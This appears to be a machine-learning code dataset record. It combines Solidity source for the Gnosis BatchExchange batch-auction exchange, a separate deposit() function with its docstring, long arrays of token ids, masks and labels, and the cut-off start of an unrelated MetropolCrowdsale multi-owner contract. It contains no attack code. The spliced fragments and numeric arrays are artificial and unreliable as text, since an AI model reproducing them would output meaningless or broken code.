imbalance should be added to * @param tokenIdsForPrice sorted list of tokenIds * @param buyAmount amount to be subtracted at `self[buyTokenIndex]` * @param sellAmount amount to be added at `self[sellTokenIndex]` */ function updateTokenConservation( int256[] memory self, uint16 buyToken, uint16 sellToken, uint16[] memory tokenIdsForPrice, uint128 buyAmount, uint128 sellAmount ) internal pure { uint256 buyTokenIndex = findPriceIndex(buyToken, tokenIdsForPrice); uint256 sellTokenIndex = findPriceIndex(sellToken, tokenIdsForPrice); self[buyTokenIndex] = self[buyTokenIndex].sub(int256(buyAmount)); self[sellTokenIndex] = self[sellTokenIndex].add(int256(sellAmount)); } /** @dev Ensures all array's elements are zero except the first. * @param self internal datastructure created by TokenConservation.init() * @return true if all, but first element of self are zero else false */ function checkTokenConservation(int256[] memory self) internal pure { require(self[0] > 0, "Token conservation at 0 must be positive."); for (uint256 i = 1; i < self.length; i++) { require(self[i] == 0, "Token conservation does not hold"); } } /** @dev Token ordering is verified by submitSolution. Required because binary search is used to fetch token info. * @param tokenIdsForPrice list of tokenIds * @return true if tokenIdsForPrice is sorted else false */ function checkPriceOrdering(uint16[] memory tokenIdsForPrice) internal pure returns (bool) { for (uint256 i = 1; i < tokenIdsForPrice.length; i++) { if (tokenIdsForPrice[i] <= tokenIdsForPrice[i - 1]) { return false; } } return true; } /** @dev implementation of binary search on sorted list returns token id * @param tokenId element whose index is to be found * @param tokenIdsForPrice list of (sorted) tokenIds for which binary search is applied. * @return `index` in `tokenIdsForPrice` where `tokenId` appears (reverts if not found). */ function findPriceIndex(uint16 tokenId, uint16[] memory tokenIdsForPrice) private pure returns (uint256) { // Fee token is not included in tokenIdsForPrice if (tokenId == 0) { return 0; } // binary search for the other tokens uint256 leftValue = 0; uint256 rightValue = tokenIdsForPrice.length - 1; while (rightValue >= leftValue) { uint256 middleValue = leftValue + (rightValue - leftValue) / 2; if (tokenIdsForPrice[middleValue] == tokenId) { // shifted one to the right to account for fee token at index 0 return middleValue + 1; } else if (tokenIdsForPrice[middleValue] < tokenId) { leftValue = middleValue + 1; } else { rightValue = middleValue - 1; } } revert("Price not provided for token"); } } // File: contracts/BatchExchange.sol pragma solidity ^0.5.0; /** @title BatchExchange - A decentralized exchange for any ERC20 token as a multi-token batch * auction with uniform clearing prices. * For more information visit: <https://github.com/gnosis/dex-contracts> * @author @gnosis/dfusion-team <https://github.com/orgs/gnosis/teams/dfusion-team/members> */ contract BatchExchange is EpochTokenLocker { using SafeCast for uint256; using SafeMath for uint128; using BytesLib for bytes32; using BytesLib for bytes; using TokenConservation for int256[]; using TokenConservation for uint16[]; using IterableAppendOnlySet for IterableAppendOnlySet.Data; /** @dev Maximum number of touched orders in auction (used in submitSolution) */ uint256 public constant MAX_TOUCHED_ORDERS = 25; /** @dev Fee charged for adding a token */ uint256 public constant FEE_FOR_LISTING_TOKEN_IN_OWL = 10 ether; /** @dev minimum allowed value (in WEI) of any prices or executed trade amounts */ uint256 public constant AMOUNT_MINIMUM = 10**4; /** Corresponds to percentage that competing solution must improve on current * (p = IMPROVEMENT_DENOMINATOR + 1 / IMPROVEMENT_DENOMINATOR) */ uint256 public constant IMPROVEMENT_DENOMINATOR = 100; // 1% /** @dev maximum number of tokens that can be listed for exchange */ // solhint-disable-next-line var-name-mixedcase uint256 public MAX_TOKENS; /** @dev Current number of tokens listed/available for exchange */ uint16 public numTokens; /** @dev A fixed integer used to evaluate fees as a fraction of trade execution 1/feeDenominator */ uint128 public feeDenominator; /** @dev The feeToken of the exchange will be the OWL Token */ TokenOWL public feeToken; /** @dev mapping of type userAddress -> List[Order] where all the user's orders are stored */ mapping(address => Order[]) public orders; /** @dev mapping of type tokenId -> curentPrice of tokenId */ mapping(uint16 => uint128) public currentPrices; /** @dev Sufficient information for current winning auction solution */ SolutionData public latestSolution; // Iterable set of all users, required to collect auction information IterableAppendOnlySet.Data private allUsers; IdToAddressBiMap.Data private registeredTokens; struct Order { uint16 buyToken; uint16 sellToken; uint32 validFrom; // order is valid from auction collection period: validFrom inclusive uint32 validUntil; // order is valid till auction collection period: validUntil inclusive uint128 priceNumerator; uint128 priceDenominator; uint128 usedAmount; // remainingAmount = priceDenominator - usedAmount } struct TradeData { address owner; uint128 volume; uint16 orderId; } struct SolutionData { uint32 batchId; TradeData[] trades; uint16[] tokenIdsForPrice; address solutionSubmitter; uint256 feeReward; uint256 objectiveValue; } event OrderPlacement( address owner, uint256 index, uint16 buyToken, uint16 sellToken, uint32 validFrom, uint32 validUntil, uint128 priceNumerator, uint128 priceDenominator ); /** @dev Event emitted when an order is cancelled but still valid in the batch that is * currently being solved. It remains in storage but will not be tradable in any future * batch to be solved. */ event OrderCancelation(address owner, uint256 id); /** @dev Event emitted when an order is removed from storage. */ event OrderDeletion(address owner, uint256 id); /** @dev Event emitted when a new trade is settled */ event Trade(address indexed owner, uint256 indexed orderIds, uint256 executedSellAmount, uint256 executedBuyAmount); /** @dev Event emitted when an already exectued trade gets reverted */ event TradeReversion(address indexed owner, uint256 indexed orderIds, uint256 executedSellAmount, uint256 executedBuyAmount); /** @dev Constructor determines exchange parameters * @param maxTokens The maximum number of tokens that can be listed. * @param _feeDenominator fee as a proportion is (1 / feeDenominator) * @param _feeToken Address of ERC20 fee token. */ constructor(uint256 maxTokens, uint128 _feeDenominator, address _feeToken) public { // All solutions for the batches must have normalized prices. The following line sets the // price of OWL to 10**18 for all solutions and hence enforces a normalization. currentPrices[0] = 1 ether; MAX_TOKENS = maxTokens; feeToken = TokenOWL(_feeToken); // The burn functionallity of OWL requires an approval. // In the following line the approval is set for all future burn calls. feeToken.approve(address(this), uint256(-1)); feeDenominator = _feeDenominator; addToken(_feeToken); // feeToken will always have the token index 0 } /** @dev Used to list a new token on the contract: Hence, making it available for exchange in an auction. * @param token ERC20 token to be listed. * * Requirements: * - `maxTokens` has not already been reached * - `token` has not already been added */ function addToken(address token) public { require(numTokens < MAX_TOKENS, "Max tokens reached"); if (numTokens > 0) { // Only charge fees for tokens other than the fee token itself feeToken.burnOWL(msg.sender, FEE_FOR_LISTING_TOKEN_IN_OWL); } require(IdToAddressBiMap.insert(registeredTokens, numTokens, token), "Token already registered"); numTokens++; } /** @dev A user facing function used to place limit sell orders in auction with expiry defined by batchId * @param buyToken id of token to be bought * @param sellToken id of token to be sold * @param validUntil batchId represnting order's expiry * @param buyAmount relative minimum amount of requested buy amount * @param sellAmount maximum amount of sell token to be exchanged * @return orderId as index of user's current orders * * Emits an {OrderPlacement} event with all relevant order details. */ function placeOrder(uint16 buyToken, uint16 sellToken, uint32 validUntil, uint128 buyAmount, uint128 sellAmount) public returns (uint256) { return placeOrderInternal(buyToken, sellToken, getCurrentBatchId(), validUntil, buyAmount, sellAmount); } /** @dev A user facing function used to place limit sell orders in auction with expiry defined by batchId * Note that parameters are passed as arrays and the indices correspond to each order. * @param buyTokens ids of tokens to be bought * @param sellTokens ids of tokens to be sold * @param validFroms batchIds representing order's validity start time * @param validUntils batchIds represnnting order's expiry * @param buyAmounts relative minimum amount of requested buy amounts * @param sellAmounts maximum amounts of sell token to be exchanged * @return `orderIds` an array of indices in which `msg.sender`'s orders are included * * Emits an {OrderPlacement} event with all relevant order details. */ function placeValidFromOrders( uint16[] memory buyTokens, uint16[] memory sellTokens, uint32[] memory validFroms, uint32[] memory validUntils, uint128[] memory buyAmounts, uint128[] memory sellAmounts ) public returns (uint256[] memory orderIds) { orderIds = new uint256[](buyTokens.length); for (uint256 i = 0; i < buyTokens.length; i++) { orderIds[i] = placeOrderInternal( buyTokens[i], sellTokens[i], validFroms[i], validUntils[i], buyAmounts[i], sellAmounts[i] ); } } /** @dev a user facing function used to cancel orders. If the order is valid for the batch that is currently * being solved, it sets order expiry to that batchId. Otherwise it removes it from storage. Can be called * multiple times (e.g. to eventually free storage once order is expired). * * @param ids referencing the index of user's order to be canceled * * Emits an {OrderCancelation} or {OrderDeletion} with sender's address and orderId */ function cancelOrders(uint256[] memory ids) public { for (uint256 i = 0; i < ids.length; i++) { if (!checkOrderValidity(orders[msg.sender][ids[i]], getCurrentBatchId() - 1)) { delete orders[msg.sender][ids[i]]; emit OrderDeletion(msg.sender, ids[i]); } else { orders[msg.sender][ids[i]].validUntil = getCurrentBatchId() - 1; emit OrderCancelation(msg.sender, ids[i]); } } } /** @dev A user facing wrapper to cancel and place new orders in the same transaction. * @param cancellations ids of orders to be cancelled * @param buyTokens ids of tokens to be bought in new orders * @param sellTokens ids of tokens to be sold in new orders * @param validFroms batchIds representing order's validity start time in new orders * @param validUntils batchIds represnnting order's expiry in new orders * @param buyAmounts relative minimum amount of requested buy amounts in new orders * @param sellAmounts maximum amounts of sell token to be exchanged in new orders * @return `orderIds` an array of indices in which `msg.sender`'s new orders are included * * Emits {OrderCancelation} events for all cancelled orders and {OrderPlacement} events with all relevant new order details. */ function replaceOrders( uint256[] memory cancellations, uint16[] memory buyTokens, uint16[] memory sellTokens, uint32[] memory validFroms, uint32[] memory validUntils, uint128[] memory buyAmounts, uint128[] memory sellAmounts ) public returns (uint256[] memory orderIds) { cancelOrders(cancellations); return placeValidFromOrders(buyTokens, sellTokens, validFroms, validUntils, buyAmounts, sellAmounts); } /** @dev a solver facing function called for auction settlement * @param batchIndex index of auction solution is referring to * @param owners array of addresses corresponding to touched orders * @param orderIds array of order ids used in parallel with owners to identify touched order * @param buyVolumes executed buy amounts for each order identified by index of owner-orderId arrays * @param prices list of prices for touched tokens indexed by next parameter * @param tokenIdsForPrice price[i] is the price for the token with tokenID tokenIdsForPrice[i] * @return the computed objective value of the solution * * Requirements: * - Solutions for this `batchIndex` are currently being accepted. * - Claimed objetive value is a great enough improvement on the current winning solution * - Fee Token price is non-zero * - `tokenIdsForPrice` is sorted. * - Number of touched orders does not exceed `MAX_TOUCHED_ORDERS`. * - Each touched order is valid at current `batchIndex`. * - Each touched order's `executedSellAmount` does not exceed its remaining amount. * - Limit Price of each touched order is respected. * - Solution's objective evaluation must be positive. * * Sub Requirements: Those nested within other functions * - checkAndOverrideObjectiveValue; Objetive value is a great enough improvement on the current winning solution * - checkTokenConservation; for all, non-fee, tokens total amount sold == total amount bought */ function submitSolution( uint32 batchIndex, uint256 claimedObjectiveValue, address[] memory owners, uint16[] memory orderIds, uint128[] memory buyVolumes, uint128[] memory prices, uint16[] memory tokenIdsForPrice ) public returns (uint256) { require(acceptingSolutions(batchIndex), "Solutions are no longer accepted for this batch"); require( isObjectiveValueSufficientlyImproved(claimedObjectiveValue), "Claimed objective doesn't sufficiently improve current solution" ); require(verifyAmountThreshold(prices), "At least one price lower than AMOUNT_MINIMUM"); require(tokenIdsForPrice[0] != 0, "Fee token has fixed price!"); require(tokenIdsForPrice.checkPriceOrdering(), "prices are not ordered by tokenId"); require(owners.length <= MAX_TOUCHED_ORDERS, "Solution exceeds MAX_TOUCHED_ORDERS"); burnPreviousAuctionFees(); undoCurrentSolution(); updateCurrentPrices(prices, tokenIdsForPrice); delete latestSolution.trades; int256[] memory tokenConservation = TokenConservation.init(tokenIdsForPrice); uint256 utility = 0; for (uint256 i = 0; i < owners.length; i++) { Order memory order = orders[owners[i]][orderIds[i]]; require(checkOrderValidity(order, batchIndex), "Order is invalid"); (uint128 executedBuyAmount, uint128 executedSellAmount) = getTradedAmounts(buyVolumes[i], order); require(executedBuyAmount >= AMOUNT_MINIMUM, "buy amount less than AMOUNT_MINIMUM"); require(executedSellAmount >= AMOUNT_MINIMUM, "sell amount less than AMOUNT_MINIMUM"); tokenConservation.updateTokenConservation( order.buyToken, order.sellToken, tokenIdsForPrice, executedBuyAmount, executedSellAmount ); require(getRemainingAmount(order) >= executedSellAmount, "executedSellAmount bigger than specified in order"); // Ensure executed price is not lower than the order price: // executedSellAmount / executedBuyAmount <= order.priceDenominator / order.priceNumerator require( executedSellAmount.mul(order.priceNumerator) <= executedBuyAmount.mul(order.priceDenominator), "limit price not satisfied" ); // accumulate utility before updateRemainingOrder, but after limitPrice verified! utility = utility.add(evaluateUtility(executedBuyAmount, order)); updateRemainingOrder(owners[i], orderIds[i], executedSellAmount); addBalanceAndBlockWithdrawForThisBatch(owners[i], tokenIdToAddressMap(order.buyToken), executedBuyAmount); emit Trade(owners[i], orderIds[i], executedSellAmount, executedBuyAmount); } // Perform all subtractions after additions to avoid negative values for (uint256 i = 0; i < owners.length; i++) { Order memory order = orders[owners[i]][orderIds[i]]; (, uint128 executedSellAmount) = getTradedAmounts(buyVolumes[i], order); subtractBalance(owners[i], tokenIdToAddressMap(order.sellToken), executedSellAmount); } uint256 disregardedUtility = 0; for (uint256 i = 0; i < owners.length; i++) { disregardedUtility = disregardedUtility.add(evaluateDisregardedUtility(orders[owners[i]][orderIds[i]], owners[i])); } uint256 burntFees = uint256(tokenConservation.feeTokenImbalance()) / 2; // burntFees ensures direct trades (when available) yield better solutions than longer rings uint256 objectiveValue = utility.add(burntFees).sub(disregardedUtility); checkAndOverrideObjectiveValue(objectiveValue); grantRewardToSolutionSubmitter(burntFees); tokenConservation.checkTokenConservation(); documentTrades(batchIndex, owners, orderIds, buyVolumes, tokenIdsForPrice); return (objectiveValue); } /** * Public View Methods */ /** @dev View returning ID of listed tokens * @param addr address of listed token. * @return tokenId as stored within the contract. */ function tokenAddressToIdMap(address addr) public view returns (uint16) { return IdToAddressBiMap.getId(registeredTokens, addr); } /** @dev View returning address of listed token by ID * @param id tokenId as stored, via BiMap, within the contract. * @return address of (listed) token */ function tokenIdToAddressMap(uint16 id) public view returns (address) { return IdToAddressBiMap.getAddressAt(registeredTokens, id); } /** @dev View returning a bool attesting whether token was already added * @param addr address of the token to be checked * @return bool attesting whether token was already added */ function hasToken(address addr) public view returns (bool) { return IdToAddressBiMap.hasAddress(registeredTokens, addr); } /** @dev View returning all byte-encoded sell orders for specified user * @param user address of user whose orders are being queried * @return encoded bytes representing all orders */ function getEncodedUserOrders(address user) public view returns (bytes memory elements) { for (uint256 i = 0; i < orders[user].length; i++) { elements = elements.concat( encodeAuctionElement(user, getBalance(user, tokenIdToAddressMap(orders[user][i].sellToken)), orders[user][i]) ); } return elements; } /** @dev View returning all byte-encoded sell orders * @return encoded bytes representing all orders ordered by (user, index) */ function getEncodedOrders() public view returns (bytes memory elements) { if (allUsers.size() > 0) { address user = allUsers.first(); bool stop = false; while (!stop) { elements = elements.concat(getEncodedUserOrders(user)); if (user == allUsers.last) { stop = true; } else { user = allUsers.next(user); } } } return elements; } function acceptingSolutions(uint32 batchIndex) public view returns (bool) { return batchIndex == getCurrentBatchId() - 1 && getSecondsRemainingInBatch() >= 1 minutes; } /** @dev gets the objective value of currently winning solution. * @return objective function evaluation of the currently winning solution, or zero if no solution proposed. */ function getCurrentObjectiveValue() public view returns (uint256) { if (latestSolution.batchId == getCurrentBatchId() - 1) { return latestSolution.objectiveValue; } else { return 0; } } /** * Private Functions */ function placeOrderInternal( uint16 buyToken, uint16 sellToken, uint32 validFrom, uint32 validUntil, uint128 buyAmount, uint128 sellAmount ) private returns (uint256) { require(buyToken != sellToken, "Exchange tokens not distinct"); require(validFrom >= getCurrentBatchId(), "Orders can't be placed in the past"); orders[msg.sender].push( Order({ buyToken: buyToken, sellToken: sellToken, validFrom: validFrom, validUntil: validUntil, priceNumerator: buyAmount, priceDenominator: sellAmount, usedAmount: 0 }) ); uint256 orderIndex = orders[msg.sender].length - 1; emit OrderPlacement(msg.sender, orderIndex, buyToken, sellToken, validFrom, validUntil, buyAmount, sellAmount); allUsers.insert(msg.sender); return orderIndex; } /** @dev called at the end of submitSolution with a value of tokenConservation / 2 * @param feeReward amount to be rewarded to the solver */ function grantRewardToSolutionSubmitter(uint256 feeReward) private { latestSolution.feeReward = feeReward; addBalanceAndBlockWithdrawForThisBatch(msg.sender, tokenIdToAddressMap(0), feeReward); } /** @dev called during solution submission to burn fees from previous auction */ function burnPreviousAuctionFees() private { if (!currentBatchHasSolution()) { feeToken.burnOWL(address(this), latestSolution.feeReward); } } /** @dev Called from within submitSolution to update the token prices. * @param prices list of prices for touched tokens only, first price is always fee token price * @param tokenIdsForPrice price[i] is the price for the token with tokenID tokenIdsForPrice[i] */ function updateCurrentPrices(uint128[] memory prices, uint16[] memory tokenIdsForPrice) private { for (uint256 i = 0; i < latestSolution.tokenIdsForPrice.length; i++) { currentPrices[latestSolution.tokenIdsForPrice[i]] = 0; } for (uint256 i = 0; i < tokenIdsForPrice.length; i++) { currentPrices[tokenIdsForPrice[i]] = prices[i]; } } /** @dev Updates an order's remaing requested sell amount upon (partial) execution of a standing order * @param owner order's corresponding user address * @param orderId index of order in list of owner's orders * @param executedAmount proportion of order's requested sellAmount that was filled. */ function updateRemainingOrder(address owner, uint256 orderId, uint128 executedAmount) private { orders[owner][orderId].usedAmount = orders[owner][orderId].usedAmount.add(executedAmount).toUint128(); } /** @dev The inverse of updateRemainingOrder, called when reverting a solution in favour of a better one. * @param owner order's corresponding user address * @param orderId index of order in list of owner's orders * @param executedAmount proportion of order's requested sellAmount that was filled. */ function revertRemainingOrder(address owner, uint256 orderId, uint128 executedAmount) private { orders[owner][orderId].usedAmount = orders[owner][orderId].usedAmount.sub(executedAmount).toUint128(); } /** @dev This function writes solution information into contract storage * @param batchIndex index of referenced auction * @param owners array of addresses corresponding to touched orders * @param orderIds array of order ids used in parallel with owners to identify touched order * @param volumes executed buy amounts for each order identified by index of owner-orderId arrays * @param tokenIdsForPrice price[i] is the price for the token with tokenID tokenIdsForPrice[i] */ function documentTrades( uint32 batchIndex, address[] memory owners, uint16[] memory orderIds, uint128[] memory volumes, uint16[] memory tokenIdsForPrice ) private { latestSolution.batchId = batchIndex; for (uint256 i = 0; i < owners.length; i++) { latestSolution.trades.push(TradeData({owner: owners[i], orderId: orderIds[i], volume: volumes[i]})); } latestSolution.tokenIdsForPrice = tokenIdsForPrice; latestSolution.solutionSubmitter = msg.sender; } /** @dev reverts all relevant contract storage relating to an overwritten auction solution. */ function undoCurrentSolution() private { if (currentBatchHasSolution()) { for (uint256 i = 0; i < latestSolution.trades.length; i++) { address owner = latestSolution.trades[i].owner; uint256 orderId = latestSolution.trades[i].orderId; Order memory order = orders[owner][orderId]; (, uint128 sellAmount) = getTradedAmounts(latestSolution.trades[i].volume, order); addBalance(owner, tokenIdToAddressMap(order.sellToken), sellAmount); } for (uint256 i = 0; i < latestSolution.trades.length; i++) { address owner = latestSolution.trades[i].owner; uint256 orderId = latestSolution.trades[i].orderId; Order memory order = orders[owner][orderId]; (uint128 buyAmount, uint128 sellAmount) = getTradedAmounts(latestSolution.trades[i].volume, order); revertRemainingOrder(owner, orderId, sellAmount); subtractBalance(owner, tokenIdToAddressMap(order.buyToken), buyAmount); emit TradeReversion(owner, orderId, sellAmount, buyAmount); } // subtract granted fees: subtractBalance(latestSolution.solutionSubmitter, tokenIdToAddressMap(0), latestSolution.feeReward); } } /** @dev determines if value is better than currently and updates if it is. * @param newObjectiveValue proposed value to be updated if a great enough improvement on the current objective value */ function checkAndOverrideObjectiveValue(uint256 newObjectiveValue) private { require( isObjectiveValueSufficientlyImproved(newObjectiveValue), "New objective doesn't sufficiently improve current solution" ); latestSolution.objectiveValue = newObjectiveValue; } // Private view /** @dev Evaluates utility of executed trade * @param execBuy represents proportion of order executed (in terms of buy amount) * @param order the sell order whose utility is being evaluated * @return Utility = ((execBuy * order.sellAmt - execSell * order.buyAmt) * price.buyToken) / order.sellAmt */ function evaluateUtility(uint128 execBuy, Order memory order) private view returns (uint256) { // Utility = ((execBuy * order.sellAmt - execSell * order.buyAmt) * price.buyToken) / order.sellAmt uint256 execSellTimesBuy = getExecutedSellAmount(execBuy, currentPrices[order.buyToken], currentPrices[order.sellToken]) .mul(order.priceNumerator); uint256 roundedUtility = execBuy.sub(execSellTimesBuy.div(order.priceDenominator)).mul(currentPrices[order.buyToken]); uint256 utilityError = execSellTimesBuy.mod(order.priceDenominator).mul(currentPrices[order.buyToken]).div( order.priceDenominator ); return roundedUtility.sub(utilityError).toUint128(); } /** @dev computes a measure of how much of an order was disregarded (only valid when limit price is respected) * @param order the sell order whose disregarded utility is being evaluated * @param user address of order's owner * @return disregardedUtility of the order (after it has been applied) * Note that: * |disregardedUtility| = (limitTerm * leftoverSellAmount) / order.sellAmount * where limitTerm = price.SellToken * order.sellAmt - order.buyAmt * price.buyToken * (1 - phi) * and leftoverSellAmount = order.sellAmt - execSellAmt * Balances and orders have all been updated so: sellAmount - execSellAmt == remainingAmount(order). * For correctness, we take the minimum of this with the user's token balance. */ function evaluateDisregardedUtility(Order memory order, address user) private view returns (uint256) { uint256 leftoverSellAmount = Math.min(getRemainingAmount(order), getBalance(user, tokenIdToAddressMap(order.sellToken))); uint256 limitTermLeft = currentPrices[order.sellToken].mul(order.priceDenominator); uint256 limitTermRight = order.priceNumerator.mul(currentPrices[order.buyToken]).mul(feeDenominator).div( feeDenominator - 1 ); uint256 limitTerm = 0; if (limitTermLeft > limitTermRight) { limitTerm = limitTermLeft.sub(limitTermRight); } return leftoverSellAmount.mul(limitTerm).div(order.priceDenominator).toUint128(); } /** @dev Evaluates executedBuy amount based on prices and executedBuyAmout (fees included) * @param executedBuyAmount amount of buyToken executed for purchase in batch auction * @param buyTokenPrice uniform clearing price of buyToken * @param sellTokenPrice uniform clearing price of sellToken * @return executedSellAmount as expressed in Equation (2) * https://github.com/gnosis/dex-contracts/issues/173#issuecomment-526163117 * execSellAmount * p[sellToken] * (1 - phi) == execBuyAmount * p[buyToken] * where phi = 1/feeDenominator * Note that: 1 - phi = (feeDenominator - 1) / feeDenominator * And so, 1/(1-phi) = feeDenominator / (feeDenominator - 1) * execSellAmount = (execBuyAmount * p[buyToken]) / (p[sellToken] * (1 - phi)) * = (execBuyAmount * buyTokenPrice / sellTokenPrice) * feeDenominator / (feeDenominator - 1) * in order to minimize rounding errors, the order of operations is switched * = ((executedBuyAmount * buyTokenPrice) / (feeDenominator - 1)) * feeDenominator) / sellTokenPrice */ function getExecutedSellAmount(uint128 executedBuyAmount, uint128 buyTokenPrice, uint128 sellTokenPrice) private view returns (uint128) { return uint256(executedBuyAmount) .mul(buyTokenPrice) .div(feeDenominator - 1) .mul(feeDenominator) .div(sellTokenPrice) .toUint128(); } /** @dev used to determine if solution if first provided in current batch * @return true if `latestSolution` is storing a solution for current batch, else false */ function currentBatchHasSolution() private view returns (bool) { return latestSolution.batchId == getCurrentBatchId() - 1; } // Private view /** @dev Compute trade execution based on executedBuyAmount and relevant token prices * @param executedBuyAmount executed buy amount * @param order contains relevant buy-sell token information * @return (executedBuyAmount, executedSellAmount) */ function getTradedAmounts(uint128 executedBuyAmount, Order memory order) private view returns (uint128, uint128) { uint128 executedSellAmount = getExecutedSellAmount( executedBuyAmount, currentPrices[order.buyToken], currentPrices[order.sellToken] ); return (executedBuyAmount, executedSellAmount); } /** @dev Checks that the proposed objective value is a significant enough improvement on the latest one * @param objectiveValue the proposed objective value to check * @return true if the objectiveValue is a significant enough improvement, false otherwise */ function isObjectiveValueSufficientlyImproved(uint256 objectiveValue) private view returns (bool) { return (objectiveValue.mul(IMPROVEMENT_DENOMINATOR) > getCurrentObjectiveValue().mul(IMPROVEMENT_DENOMINATOR + 1)); } // Private pure /** @dev used to determine if an order is valid for specific auction/batch * @param order object whose validity is in question * @param batchIndex auction index of validity * @return true if order is valid in auction batchIndex else false */ function checkOrderValidity(Order memory order, uint256 batchIndex) private pure returns (bool) { return order.validFrom <= batchIndex && order.validUntil >= batchIndex; } /** @dev computes the remaining sell amount for a given order * @param order the order for which remaining amount should be calculated * @return the remaining sell amount */ function getRemainingAmount(Order memory order) private pure returns (uint128) { return order.priceDenominator - order.usedAmount; } /** @dev called only by getEncodedOrders and used to pack auction info into bytes * @param user list of tokenIds * @param sellTokenBalance user's account balance of sell token * @param order a sell order * @return byte encoded, packed, concatenation of relevant order information */ function encodeAuctionElement(address user, uint256 sellTokenBalance, Order memory order) private pure returns (bytes memory element) { element = abi.encodePacked(user); element = element.concat(abi.encodePacked(sellTokenBalance)); element = element.concat(abi.encodePacked(order.buyToken)); element = element.concat(abi.encodePacked(order.sellToken)); element = element.concat(abi.encodePacked(order.validFrom)); element = element.concat(abi.encodePacked(order.validUntil)); element = element.concat(abi.encodePacked(order.priceNumerator)); element = element.concat(abi.encodePacked(order.priceDenominator)); element = element.concat(abi.encodePacked(getRemainingAmount(order))); return element; } /** @dev determines if value is better than currently and updates if it is. * @param amounts array of values to be verified with AMOUNT_MINIMUM */ function verifyAmountThreshold(uint128[] memory amounts) private pure returns (bool) { for (uint256 i = 0; i < amounts.length; i++) { if (amounts[i] < AMOUNT_MINIMUM) { return false; } } return true; } }
* @dev credits user with deposit amount on next epoch (given by getCurrentBatchId) @param token address of token to be deposited @param amount number of token(s) to be credited to user's account Emits an {Deposit} event with relevent deposit information. Requirements: - token transfer to contract is successfull/ solhint-disable-next-line max-line-length
function deposit(address token, uint256 amount) public { updateDepositsBalance(msg.sender, token); SafeERC20.safeTransferFrom(IERC20(token), msg.sender, address(this), amount); balanceStates[msg.sender][token].pendingDeposits.amount = balanceStates[msg.sender][token].pendingDeposits.amount.add( amount ); balanceStates[msg.sender][token].pendingDeposits.batchId = getCurrentBatchId(); emit Deposit(msg.sender, token, amount, getCurrentBatchId()); }
2,481,832
[ 1, 20610, 1282, 729, 598, 443, 1724, 3844, 603, 1024, 7632, 261, 10822, 635, 5175, 4497, 548, 13, 225, 1147, 1758, 434, 1147, 358, 506, 443, 1724, 329, 225, 3844, 1300, 434, 1147, 12, 87, 13, 358, 506, 12896, 329, 358, 729, 1807, 2236, 7377, 1282, 392, 288, 758, 1724, 97, 871, 598, 6707, 616, 443, 1724, 1779, 18, 29076, 30, 300, 1147, 7412, 358, 6835, 353, 2216, 2854, 19, 3704, 11317, 17, 8394, 17, 4285, 17, 1369, 943, 17, 1369, 17, 2469, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 443, 1724, 12, 2867, 1147, 16, 2254, 5034, 3844, 13, 1071, 288, 203, 3639, 1089, 758, 917, 1282, 13937, 12, 3576, 18, 15330, 16, 1147, 1769, 203, 3639, 14060, 654, 39, 3462, 18, 4626, 5912, 1265, 12, 45, 654, 39, 3462, 12, 2316, 3631, 1234, 18, 15330, 16, 1758, 12, 2211, 3631, 3844, 1769, 203, 3639, 11013, 7629, 63, 3576, 18, 15330, 6362, 2316, 8009, 9561, 758, 917, 1282, 18, 8949, 273, 11013, 7629, 63, 3576, 18, 15330, 6362, 2316, 8009, 9561, 758, 917, 1282, 18, 8949, 18, 1289, 12, 203, 5411, 3844, 203, 3639, 11272, 203, 3639, 11013, 7629, 63, 3576, 18, 15330, 6362, 2316, 8009, 9561, 758, 917, 1282, 18, 5303, 548, 273, 5175, 4497, 548, 5621, 203, 3639, 3626, 4019, 538, 305, 12, 3576, 18, 15330, 16, 1147, 16, 3844, 16, 5175, 4497, 548, 10663, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
//Address: 0x162e8ff9d5bc3112fb3b2dec0580a4011f3cc622 //Contract name: MetropolCrowdsale //Balance: 0 Ether //Verification Date: 12/1/2017 //Transacion Count: 7 // CODE STARTS HERE pragma solidity ^0.4.18; /// note: during any ownership changes all pending operations (waiting for more signatures) are cancelled // TODO acceptOwnership contract multiowned { // TYPES // struct for the status of a pending operation. struct MultiOwnedOperationPendingState { // count of confirmations needed uint yetNeeded; // bitmap of confirmations where owner #ownerIndex's decision corresponds to 2**ownerIndex bit uint ownersDone; // position of this operation key in m_multiOwnedPendingIndex uint index; } // EVENTS event Confirmation(address owner, bytes32 operation); event Revoke(address owner, bytes32 operation); event FinalConfirmation(address owner, bytes32 operation); // some others are in the case of an owner changing. event OwnerChanged(address oldOwner, address newOwner); event OwnerAdded(address newOwner); event OwnerRemoved(address oldOwner); // the last one is emitted if the required signatures change event RequirementChanged(uint newRequirement); // MODIFIERS // simple single-sig function modifier. modifier onlyowner 